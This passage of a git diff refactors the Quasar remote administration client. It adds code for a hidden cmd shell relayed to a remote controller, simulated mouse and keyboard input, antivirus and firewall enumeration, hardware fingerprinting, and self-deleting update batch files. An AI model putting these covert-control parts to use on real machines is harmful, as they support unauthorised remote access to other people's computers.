String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("X8").ToLower(), ((ulong)((long)valueData)).ToString()); - case RegistryValueKind.String: - case RegistryValueKind.ExpandString: - return valueData.ToString(); - case RegistryValueKind.Unknown: - default: - return string.Empty; - } - } - - public static string RegistryTypeToString(this RegistryValueKind valueKind) - { - switch (valueKind) - { - case RegistryValueKind.Binary: - return "REG_BINARY"; - case RegistryValueKind.MultiString: - return "REG_MULTI_SZ"; - case RegistryValueKind.DWord: - return "REG_DWORD"; - case RegistryValueKind.QWord: - return "REG_QWORD"; - case RegistryValueKind.String: - return "REG_SZ"; - case RegistryValueKind.ExpandString: - return "REG_EXPAND_SZ"; - case RegistryValueKind.Unknown: - return "(Unknown)"; - default: - return "REG_NONE"; + yield return new Tuple(k, key.GetValueSafe(k)); } } + /// + /// Gets the default value for a given data type of a registry value. + /// + /// The data type of the registry value. + /// The default value for the given . public static object GetDefault(this RegistryValueKind valueKind) { switch (valueKind) @@ -439,4 +397,4 @@ public static object GetDefault(this RegistryValueKind valueKind) } } } -} \ No newline at end of file +} diff --git a/Quasar.Client/Helper/DateTimeHelper.cs b/Quasar.Client/Helper/DateTimeHelper.cs new file mode 100644 index 000000000..90405a048 --- /dev/null +++ b/Quasar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +using System; + +namespace Quasar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Client/Core/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Helper/JsonHelper.cs similarity index 66% rename from Client/Core/Recovery/Utilities/JsonUtil.cs rename to Quasar.Client/Helper/JsonHelper.cs index d93960a97..9dfdfe755 100644 --- a/Client/Core/Recovery/Utilities/JsonUtil.cs +++ b/Quasar.Client/Helper/JsonHelper.cs @@ -2,9 +2,12 @@ using System.Runtime.Serialization.Json; using System.Text; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Helper { - public static class JsonUtil + /// + /// Provides methods to serialize and deserialize JSON. + /// + public static class JsonHelper { /// /// Serializes an object to the respectable JSON string. @@ -18,6 +21,7 @@ public static string Serialize(T o) return Encoding.UTF8.GetString(ms.ToArray()); } } + /// /// Deserializes a JSON string to the specified object. /// @@ -29,5 +33,14 @@ public static T Deserialize(string json) return (T)s.ReadObject(ms); } } + + /// + /// Deserializes a JSON stream to the specified object. + /// + public static T Deserialize(Stream stream) + { + var s = new DataContractJsonSerializer(typeof(T)); + return (T)s.ReadObject(stream); + } } } diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs new file mode 100644 index 000000000..1002244ee --- /dev/null +++ b/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -0,0 +1,197 @@ +using Quasar.Client.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Helper +{ + public static class NativeMethodsHelper + { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; + private const uint MOUSEEVENTF_LEFTUP = 0x0004; + private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; + private const uint MOUSEEVENTF_RIGHTUP = 0x0010; + private const uint MOUSEEVENTF_WHEEL = 0x0800; + private const uint KEYEVENTF_KEYDOWN = 0x0000; + private const uint KEYEVENTF_KEYUP = 0x0002; + + public static uint GetLastInputInfoTickCount() + { + NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); + lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo); + lastInputInfo.dwTime = 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; + } + + public static void DoMouseLeftClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseRightClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseMove(Point p) + { + NativeMethods.SetCursorPos(p.X, p.Y); + } + + public static void DoMouseScroll(Point p, bool scrollDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoKeyPress(byte key, bool keyDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + private const int SPI_GETSCREENSAVERRUNNING = 114; + + public static bool IsScreensaverActive() + { + var running = IntPtr.Zero; + + if (!NativeMethods.SystemParametersInfo( + SPI_GETSCREENSAVERRUNNING, + 0, + ref running, + 0)) + { + // Something went wrong (Marshal.GetLastWin32Error) + } + + return running != IntPtr.Zero; + } + + private const uint DESKTOP_WRITEOBJECTS = 0x0080; + private const uint DESKTOP_READOBJECTS = 0x0001; + private const int WM_CLOSE = 16; + private const uint SPI_SETSCREENSAVEACTIVE = 0x0011; + private const uint SPIF_SENDWININICHANGE = 0x0002; + + public static void DisableScreensaver() + { + var handle = NativeMethods.OpenDesktop("Screen-saver", 0, + false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS); + + if (handle != IntPtr.Zero) + { + NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) => + { + if (NativeMethods.IsWindowVisible(hWnd)) + NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + + // Continue enumeration even if it fails + return true; + }, + IntPtr.Zero); + NativeMethods.CloseDesktop(handle); + } + else + { + NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + } + + // We need to restart the counter for next screensaver according to + // https://support.microsoft.com/en-us/kb/140723 + // (this may not be needed since we simulate mouse click afterwards) + + var dummy = IntPtr.Zero; + + // Doesn't really matter if this fails + NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE); + + } + + public static string GetForegroundWindowTitle() + { + StringBuilder sbTitle = new StringBuilder(1024); + + NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity); + + return sbTitle.ToString(); + } + } +} diff --git a/Quasar.Client/Helper/RegistryKeyHelper.cs b/Quasar.Client/Helper/RegistryKeyHelper.cs new file mode 100644 index 000000000..2331c6a73 --- /dev/null +++ b/Quasar.Client/Helper/RegistryKeyHelper.cs @@ -0,0 +1,158 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Client.Helper +{ + public static class RegistryKeyHelper + { + private static string DEFAULT_VALUE = String.Empty; + + /// + /// Adds a value to the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value. + /// The value. + /// If set to True, adds quotes to the value. + /// True on success, else False. + public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + + if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) + value = "\"" + value + "\""; + + key.SetValue(name, value); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Opens a read-only registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// + public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) + { + try + { + return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); + } + catch + { + return null; + } + } + + /// + /// Deletes the specified value from the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value to delete. + /// True on success, else False. + public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + key.DeleteValue(name, true); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Checks if the provided value is the default value + /// + /// The name of the value + /// True if default value, else False + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + /// + /// Adds the default value to the list of values and returns them as an array. + /// If default value already exists this function will only return the list as an array. + /// + /// The list with the values for which the default value should be added to + /// Array with all of the values including the default value + public static RegValueData[] AddDefaultValue(List values) + { + if(!values.Any(value => IsDefaultValue(value.Name))) + { + values.Add(GetDefaultValue()); + } + return values.ToArray(); + } + + /// + /// Gets the default registry values + /// + /// A array with the default registry values + public static RegValueData[] GetDefaultValues() + { + return new[] {GetDefaultValue()}; + } + + public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null) + { + var newRegValue = new RegValueData {Name = name, Kind = kind}; + + if (value == null) + newRegValue.Data = new byte[] { }; + else + { + switch (newRegValue.Kind) + { + case RegistryValueKind.Binary: + newRegValue.Data = (byte[]) value; + break; + case RegistryValueKind.MultiString: + newRegValue.Data = ByteConverter.GetBytes((string[]) value); + break; + case RegistryValueKind.DWord: + newRegValue.Data = ByteConverter.GetBytes((uint) (int) value); + break; + case RegistryValueKind.QWord: + newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + newRegValue.Data = ByteConverter.GetBytes((string) value); + break; + } + } + + return newRegValue; + } + + private static RegValueData GetDefaultValue() + { + return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String); + } + } +} diff --git a/Client/Core/Helper/ScreenHelper.cs b/Quasar.Client/Helper/ScreenHelper.cs similarity index 94% rename from Client/Core/Helper/ScreenHelper.cs rename to Quasar.Client/Helper/ScreenHelper.cs index 1234ee997..a41730be7 100644 --- a/Client/Core/Helper/ScreenHelper.cs +++ b/Quasar.Client/Helper/ScreenHelper.cs @@ -2,9 +2,9 @@ using System.Drawing; using System.Drawing.Imaging; using System.Windows.Forms; -using xClient.Core.Utilities; +using Quasar.Client.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Helper { public static class ScreenHelper { diff --git a/Client/Core/Helper/SystemHelper.cs b/Quasar.Client/Helper/SystemHelper.cs similarity index 93% rename from Client/Core/Helper/SystemHelper.cs rename to Quasar.Client/Helper/SystemHelper.cs index a5dbf70ee..8be47bd67 100644 --- a/Client/Core/Helper/SystemHelper.cs +++ b/Quasar.Client/Helper/SystemHelper.cs @@ -1,7 +1,8 @@ -using System; +using Quasar.Common.Helpers; +using System; using System.Management; -namespace xClient.Core.Helper +namespace Quasar.Client.Helper { public static class SystemHelper { @@ -55,7 +56,7 @@ public static string GetAntivirus() antivirusName += mObject["displayName"].ToString() + "; "; } } - antivirusName = FormatHelper.RemoveEnd(antivirusName); + antivirusName = StringHelper.RemoveLastChars(antivirusName); return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A"; } @@ -81,7 +82,7 @@ public static string GetFirewall() firewallName += mObject["displayName"].ToString() + "; "; } } - firewallName = FormatHelper.RemoveEnd(firewallName); + firewallName = StringHelper.RemoveLastChars(firewallName); return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; } diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets new file mode 100644 index 000000000..38f60df7b --- /dev/null +++ b/Quasar.Client/ILRepack.targets @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Quasar.Client/IO/BatchFile.cs b/Quasar.Client/IO/BatchFile.cs new file mode 100644 index 000000000..83a39ad92 --- /dev/null +++ b/Quasar.Client/IO/BatchFile.cs @@ -0,0 +1,79 @@ +using Quasar.Common.Helpers; +using System.IO; +using System.Text; + +namespace Quasar.Client.IO +{ + /// + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile + { + /// + /// Creates the uninstall batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateUninstallBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the update batch file. + /// + /// The current file path of the client. + /// The new file path of the client. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. + public static string CreateUpdateBatch(string currentFilePath, string newFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the restart batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateRestartBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + + return batchFile; + } + } +} diff --git a/Client/Core/Helper/DevicesHelper.cs b/Quasar.Client/IO/HardwareDevices.cs similarity index 51% rename from Client/Core/Helper/DevicesHelper.cs rename to Quasar.Client/IO/HardwareDevices.cs index 58b19421a..a75c2c1ce 100644 --- a/Client/Core/Helper/DevicesHelper.cs +++ b/Quasar.Client/IO/HardwareDevices.cs @@ -1,21 +1,90 @@ -using System; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System; +using System.Linq; using System.Management; using System.Net.NetworkInformation; using System.Net.Sockets; -using xClient.Core.Cryptography; -namespace xClient.Core.Helper +namespace Quasar.Client.IO { - public static class DevicesHelper + /// + /// Provides access to retrieve information about the used hardware devices. + /// + /// Caches the retrieved information to reduce the slowdown of the slow WMI queries. + public static class HardwareDevices { - public static string HardwareId { get; private set; } + /// + /// Gets a unique hardware id as a combination of various hardware components. + /// + public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer)); - static DevicesHelper() - { - HardwareId = SHA256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier()); - } + /// + /// Used to cache the hardware id. + /// + private static string _hardwareId; + + /// + /// Gets the name of the system CPU. + /// + public static string CpuName => _cpuName ?? (_cpuName = GetCpuName()); + + /// + /// Used to cache the CPU name. + /// + private static string _cpuName; + + /// + /// Gets the name of the GPU. + /// + public static string GpuName => _gpuName ?? (_gpuName = GetGpuName()); + + /// + /// Used to cache the GPU name. + /// + private static string _gpuName; + + /// + /// Gets the name of the BIOS manufacturer. + /// + public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer()); + + /// + /// Used to cache the BIOS manufacturer. + /// + private static string _biosManufacturer; + + /// + /// Gets the name of the mainboard. + /// + public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName()); + + /// + /// Used to cache the mainboard name. + /// + private static string _mainboardName; + + /// + /// Gets the total physical memory of the system in megabytes (MB). + /// + public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb()); - public static string GetBiosIdentifier() + /// + /// Used to cache the total physical memory. + /// + private static int? _totalPhysicalMemory; + + /// + /// Gets the LAN IP address of the network interface. + /// + public static string LanIpAddress => GetLanIpAddress(); + + /// + /// Gets the MAC address of the network interface. + /// + public static string MacAddress => GetMacAddress(); + + private static string GetBiosManufacturer() { try { @@ -40,7 +109,7 @@ public static string GetBiosIdentifier() return "Unknown"; } - public static string GetMainboardIdentifier() + private static string GetMainboardName() { try { @@ -51,7 +120,7 @@ public static string GetMainboardIdentifier() { foreach (ManagementObject mObject in searcher.Get()) { - mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString(); + mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString(); break; } } @@ -65,7 +134,7 @@ public static string GetMainboardIdentifier() return "Unknown"; } - public static string GetCpuName() + private static string GetCpuName() { try { @@ -79,7 +148,7 @@ public static string GetCpuName() cpuName += mObject["Name"].ToString() + "; "; } } - cpuName = FormatHelper.RemoveEnd(cpuName); + cpuName = StringHelper.RemoveLastChars(cpuName); return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A"; } @@ -90,7 +159,7 @@ public static string GetCpuName() return "Unknown"; } - public static int GetTotalRamAmount() + private static int GetTotalPhysicalMemoryInMb() { try { @@ -102,7 +171,7 @@ public static int GetTotalRamAmount() foreach (ManagementObject mObject in searcher.Get()) { double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); - installedRAM = (int)(bytes / 1048576); + installedRAM = (int)(bytes / 1048576); // bytes to MB break; } } @@ -115,7 +184,7 @@ public static int GetTotalRamAmount() } } - public static string GetGpuName() + private static string GetGpuName() { try { @@ -129,7 +198,7 @@ public static string GetGpuName() gpuName += mObject["Description"].ToString() + "; "; } } - gpuName = FormatHelper.RemoveEnd(gpuName); + gpuName = StringHelper.RemoveLastChars(gpuName); return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; } @@ -139,21 +208,26 @@ public static string GetGpuName() } } - public static string GetLanIp() + private static string GetLanIpAddress() { + // TODO: support multiple network interfaces foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) { - if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || - ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && - ni.OperationalStatus == OperationalStatus.Up) + GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); + if (gatewayAddress != null) //exclude virtual physical nic with no default gateway { - foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || + ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && + ni.OperationalStatus == OperationalStatus.Up) { - if (ip.Address.AddressFamily != AddressFamily.InterNetwork || - ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses - continue; + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily != AddressFamily.InterNetwork || + ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses + continue; - return ip.Address.ToString(); + return ip.Address.ToString(); + } } } } @@ -161,7 +235,7 @@ public static string GetLanIp() return "-"; } - public static string GetMacAddress() + private static string GetMacAddress() { foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) { @@ -176,11 +250,11 @@ public static string GetMacAddress() ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses continue; - foundCorrect = (ip.Address.ToString() == GetLanIp()); + foundCorrect = (ip.Address.ToString() == GetLanIpAddress()); } if (foundCorrect) - return FormatHelper.FormatMacAddress(ni.GetPhysicalAddress().ToString()); + return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString()); } } diff --git a/Client/Core/Utilities/Shell.cs b/Quasar.Client/IO/Shell.cs similarity index 60% rename from Client/Core/Utilities/Shell.cs rename to Quasar.Client/IO/Shell.cs index fc97da151..9b67a9d4e 100644 --- a/Client/Core/Utilities/Shell.cs +++ b/Quasar.Client/IO/Shell.cs @@ -1,11 +1,13 @@ -using System; +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Text; using System.Threading; -namespace xClient.Core.Utilities +namespace Quasar.Client.IO { /// /// This class manages a remote shell session. @@ -13,7 +15,7 @@ namespace xClient.Core.Utilities public class Shell : IDisposable { /// - /// The Process of the command-line. + /// The process of the command-line (cmd). /// private Process _prc; @@ -36,7 +38,31 @@ public class Shell : IDisposable private readonly object _readStreamLock = new object(); /// - /// Creates a new session of the Shell + /// The current console encoding. + /// + private Encoding _encoding; + + /// + /// Redirects commands to the standard input stream of the console with the correct encoding. + /// + private StreamWriter _inputWriter; + + /// + /// The client to sends responses to. + /// + private readonly QuasarClient _client; + + /// + /// Initializes a new instance of the class using a given client. + /// + /// The client to send shell responses to. + public Shell(QuasarClient client) + { + _client = client; + } + + /// + /// Creates a new session of the shell. /// private void CreateSession() { @@ -45,40 +71,42 @@ private void CreateSession() _read = true; } - CultureInfo cultureInfo = CultureInfo.InstalledUICulture; + var cultureInfo = CultureInfo.InstalledUICulture; + _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); _prc = new Process { StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, + CreateNoWindow = true, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, - StandardOutputEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage), - StandardErrorEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage), - CreateNoWindow = true, + StandardOutputEncoding = _encoding, + StandardErrorEncoding = _encoding, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), - Arguments = "/K" + Arguments = $"/K CHCP {_encoding.CodePage}" } }; - _prc.Start(); - // Fire up the logic to redirect the outputs and handle them. - RedirectOutputs(); + RedirectIO(); - new Packets.ClientPackets.DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute( - Program.ConnectClient); + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> New Session created\n" + }); } /// - /// Starts the redirection of input and output + /// Starts the redirection of input and output. /// - private void RedirectOutputs() + private void RedirectIO() { - ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardOutput(); }); - ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardError(); }); + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + new Thread(RedirectStandardOutput).Start(); + new Thread(RedirectStandardError).Start(); } /// @@ -91,9 +119,9 @@ private void ReadStream(int firstCharRead, StreamReader streamReader, bool isErr { lock (_readStreamLock) { - StringBuilder streambuffer = new StringBuilder(); + var streamBuffer = new StringBuilder(); - streambuffer.Append((char)firstCharRead); + streamBuffer.Append((char)firstCharRead); // While there are more characters to be read while (streamReader.Peek() > -1) @@ -102,41 +130,32 @@ private void ReadStream(int firstCharRead, StreamReader streamReader, bool isErr var ch = streamReader.Read(); // Accumulate the characters read in the stream buffer - streambuffer.Append((char)ch); + streamBuffer.Append((char)ch); if (ch == '\n') - SendAndFlushBuffer(ref streambuffer, isError); + SendAndFlushBuffer(ref streamBuffer, isError); } // Flush any remaining text in the buffer - SendAndFlushBuffer(ref streambuffer, isError); + SendAndFlushBuffer(ref streamBuffer, isError); } } /// /// Sends the read output to the Client. /// - /// Contains the contents of the output. + /// Contains the contents of the output. /// True if reading from the error-stream, else False. - private void SendAndFlushBuffer(ref StringBuilder textbuffer, bool isError) + private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) { - if (textbuffer.Length == 0) return; + if (textBuffer.Length == 0) return; - var toSend = textbuffer.ToString(); + var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); if (string.IsNullOrEmpty(toSend)) return; - if (isError) - { - new Packets.ClientPackets.DoShellExecuteResponse(toSend, true).Execute( - Program.ConnectClient); - } - else - { - new Packets.ClientPackets.DoShellExecuteResponse(toSend).Execute( - Program.ConnectClient); - } + _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError }); - textbuffer.Length = 0; + textBuffer.Clear(); } /// @@ -171,8 +190,11 @@ private void RedirectStandardOutput() { if (ex is ApplicationException || ex is InvalidOperationException) { - new Packets.ClientPackets.DoShellExecuteResponse(string.Format("{0}>> Session unexpectedly closed{0}", - Environment.NewLine), true).Execute(Program.ConnectClient); + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); CreateSession(); } @@ -211,8 +233,11 @@ private void RedirectStandardError() { if (ex is ApplicationException || ex is InvalidOperationException) { - new Packets.ClientPackets.DoShellExecuteResponse(string.Format("{0}>> Session unexpectedly closed{0}", - Environment.NewLine), true).Execute(Program.ConnectClient); + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); CreateSession(); } @@ -227,22 +252,38 @@ private void RedirectStandardError() public bool ExecuteCommand(string command) { if (_prc == null || _prc.HasExited) - CreateSession(); - - if (_prc == null) return false; + { + try + { + CreateSession(); + } + catch (Exception ex) + { + _client.Send(new DoShellExecuteResponse + { + Output = $"\n>> Failed to creation shell session: {ex.Message}\n", + IsError = true + }); + return false; + } + } - _prc.StandardInput.WriteLine(command); - _prc.StandardInput.Flush(); + _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); + _inputWriter.Flush(); return true; } /// - /// Constructor, creates a new session. + /// Converts the encoding of an input string to UTF-8 format. /// - public Shell() + /// The source encoding of the input string. + /// The input string. + /// The input string in UTF-8 format. + private string ConvertEncoding(Encoding sourceEncoding, string input) { - CreateSession(); + var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); + return Encoding.UTF8.GetString(utf8Text); } /// @@ -251,7 +292,6 @@ public Shell() public void Dispose() { Dispose(true); - GC.SuppressFinalize(this); } @@ -264,7 +304,8 @@ protected virtual void Dispose(bool disposing) _read = false; } - if (_prc == null) return; + if (_prc == null) + return; if (!_prc.HasExited) { @@ -276,9 +317,16 @@ protected virtual void Dispose(bool disposing) { } } + + if (_inputWriter != null) + { + _inputWriter.Close(); + _inputWriter = null; + } + _prc.Dispose(); _prc = null; } } } -} \ No newline at end of file +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformation.cs b/Quasar.Client/IpGeoLocation/GeoInformation.cs new file mode 100644 index 000000000..f2f40a869 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformation.cs @@ -0,0 +1,16 @@ +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs new file mode 100644 index 000000000..3af63cef5 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs @@ -0,0 +1,47 @@ +using System; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Factory to retrieve and cache the last IP geolocation information for 